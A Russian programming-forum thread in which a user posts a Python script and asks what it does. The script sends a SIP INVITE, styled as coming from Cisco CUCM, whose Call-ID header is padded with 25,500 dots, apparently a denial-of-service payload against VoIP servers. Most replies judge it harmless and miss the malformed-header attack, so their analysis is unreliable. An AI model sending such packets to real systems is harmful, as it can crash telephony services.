30 / 30 / 37
Регистрация: 03.06.2014
Сообщений: 1,050
1

Узнать назначение кода

20.01.2016, 15:43. Показов 404. Ответов 8
Метки нет (Все метки)

Всем привет. Надеюсь мне скоро отпишут. Есть у меня вот это:
Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import socket
import time
 
serv_ip = "192.168.0.105"
user_ip = "192.168.0.106"
 
serv_port = 5060
evil = '\x2e'*25500
 
message = ( "INVITE sip:192.168.0.105:8670 SIP/2.0\r\n"\
"Via: SIP/2.0/UDP 192.168.0.106:5060;branch=z9hG4bK21188a8f8d\r\n"\
"From: <sip:2004@192.168.0.106>;tag=257~6a09e3f5-c7f9-4ec9-9888-04ea2a58c6a7-22142365\r\n"\
"To: <sip:2003@192.168.0.106>\r\n"\
"Date: Fri, 06 Feb 2015 10:36:27 GMT\r\n"\
"Call-ID: ffdd0d00-4d41992b-1a-6a00a8c0@192."+evil+"168.0.106\r\n"\
"Supported: timer,resource-priority,replaces\r\n"\
"Min-SE:  1800\r\n"\
"User-Agent: Cisco-CUCM9.0\r\n"\
"Allow: INVITE, OPTIONS, INFO, BYE, CANCEL, ACK, PRACK, UPDATE, REFER, SUBSCRIBE, NOTIFY\r\n"\
"CSeq: 101 INVITE\r\n"\
"Expires: 180\r\n"\
"Allow-Events: presence\r\n"\
"Send-Info: conference, x-cisco-conference\r\n"\
"Alert-Info: <file://Bellcore-dr1/>\r\n"\
"Contact: <sip:2004@192.168.0.106:5060>\r\n"\
"Remote-Party-ID: <sip:2004@192.168.0.106;x-cisco-callback-number=2004>;party=calling;screen=yes;privacy=off\r\n"\
"Max-Forwards: 19\r\n"\
"Content-Length: 0\r\n\r\n"\
 
                  )
 
 
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
s.sendto(message, (serv_ip,serv_port))
print(message)
Помогите пожалуйста разобраться что этот код делает кроме отправки сообщения
__________________
Помощь в написании контрольных, курсовых и дипломных работ здесь
0
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
20.01.2016, 15:43
Ответы с готовыми решениями:

Как узнать назначение параметров -aux у ps?
Например, ps -aux я видел, что здесь конкретно означают параметры -aux и где они используются...

Как узнать назначение драйвера Dtsoftbus01.sys
Вечер добрый. Сталкиваюсь с подобной проблемой. Вылетает после выхода из игры (BF4), при чем синий...

Понять назначение кода
Здравствуйте, уважаемые форумчане. Недавно поставил на свой сайт (WordPress) новый шаблон и только...

Объяснить назначение кода аwk
awk '/^H/{count++}!/^H/ || count != 2' source.file &gt; result.file Правильно ли я понял, что сначала...

8
2730 / 2333 / 620
Регистрация: 19.03.2012
Сообщений: 8,832
20.01.2016, 15:51 2
Цитата Сообщение от Shoshona Посмотреть сообщение
что этот код делает кроме отправки сообщения
Ничего
0
Эксперт Python
4554 / 1980 / 354
Регистрация: 17.03.2012
Сообщений: 9,927
Записей в блоге: 5
20.01.2016, 15:52 3
Выводит сообщение на экран (если print работает традиционно).
0
51 / 51 / 18
Регистрация: 03.12.2015
Сообщений: 167
20.01.2016, 16:00 4
да как бы ничего. В строке 33 создается UDP-сокет, потом сообщение отправляется по указанному адресу. Ну и в строке 35 само сообщение выводится. Переменная evil вообще не используется.

Добавлено через 17 секунд
ой, не успел
0
30 / 30 / 37
Регистрация: 03.06.2014
Сообщений: 1,050
20.01.2016, 17:05  [ТС] 5
Вот и я говорю, что ничего, однако, это вредоносный код и надо доказать почему. Думал, что сам evil создает кучу точек... однако...
0
51 / 51 / 18
Регистрация: 03.12.2015
Сообщений: 167
20.01.2016, 17:13 6
а, ну да. evil используется. Не заметил, что там в message плюсики стоят. Хз что тут вредоносного. Макс размер датаграммы вроде 65535 байт. Тут меньше. Да и всё равно датаграмма будет разбита на части. Больше нет никаких мыслей
0
2730 / 2333 / 620
Регистрация: 19.03.2012
Сообщений: 8,832
20.01.2016, 17:30 7
Цитата Сообщение от Shoshona Посмотреть сообщение
однако, это вредоносный код и надо доказать почему
С чего это взято?
0
30 / 30 / 37
Регистрация: 03.06.2014
Сообщений: 1,050
20.01.2016, 21:58  [ТС] 8
evil = '\x2e'*25500 - по идее это забивает всё сообщение точками (\x2e = ".") (*25500 - 25500 и больше). То есть в IP user-а все заполонят точки. Хотя я могу ошибаться)
0
51 / 51 / 18
Регистрация: 03.12.2015
Сообщений: 167
20.01.2016, 22:17 9
ему придет датаграмма с кучей точек. И всё. Вы думаете, что пара точек может что-то засорить? При UDP-соединении даже буферов вроде как никаких нет, значит, там засорять-то нечего.

Добавлено через 1 минуту
просто чем больше сообщение, тем выше риск, что оно вообще не дойдет. При UDP-соединении. Может поэтому кто-то назвал evil?
0
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
20.01.2016, 22:17

Определить назначение программного кода
Procedure TForm1.Button1Click(Sunder:TObject) var s,x,i,a,b:integet; Begin...

Определить назначение программного кода
Procedure TForm1.Button1Click(Sender:Tobject); Var s,x,i,a,b:Integer; begin memo1.Clear;...

Каково назначение приведенного кода
Прочитал в книжке код ... public int this { get { ... } set { ... } } ...

Назначение строк кода в программе
Подскажите пожалуйста, что делают следующие строчки кода в программе Stroka2 bb = new...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
9
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2022, CyberForum.ru